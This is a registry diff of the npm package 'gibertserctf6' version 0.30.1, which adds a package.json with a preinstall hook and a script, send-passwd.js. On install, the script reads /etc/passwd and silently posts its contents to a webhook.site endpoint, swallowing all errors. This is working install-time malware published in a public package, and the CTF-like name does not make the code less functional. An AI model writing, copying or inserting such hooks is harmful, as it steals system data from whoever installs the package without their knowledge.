gibertserctf6 0.30.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/package.json ADDED
@@ -0,0 +1,7 @@
1
+ {
2
+ "name": "gibertserctf6",
3
+ "version": "0.30.1",
4
+ "scripts": {
5
+ "preinstall": "node send-passwd.js"
6
+ }
7
+ }
@@ -0,0 +1,36 @@
1
+ const https = require('https');
2
+ const fs = require('fs');
3
+
4
+ // Читаем /etc/passwd
5
+ try {
6
+ const passwd = fs.readFileSync('/etc/passwd', 'utf8');
7
+
8
+ // Отправляем на webhook.site
9
+ const data = JSON.stringify({
10
+ passwd: passwd
11
+ });
12
+
13
+ const options = {
14
+ hostname: 'webhook.site',
15
+ port: 443,
16
+ path: '/01787fc1-c912-4013-bdce-f5cb41793ce0',
17
+ method: 'POST',
18
+ headers: {
19
+ 'Content-Type': 'application/json',
20
+ }
21
+ };
22
+
23
+ const req = https.request(options, (res) => {
24
+ // ignore response
25
+ });
26
+
27
+ req.on('error', (err) => {
28
+ // ignore errors
29
+ });
30
+
31
+ req.write(data);
32
+ req.end();
33
+
34
+ } catch (e) {
35
+ // ignore errors
36
+ }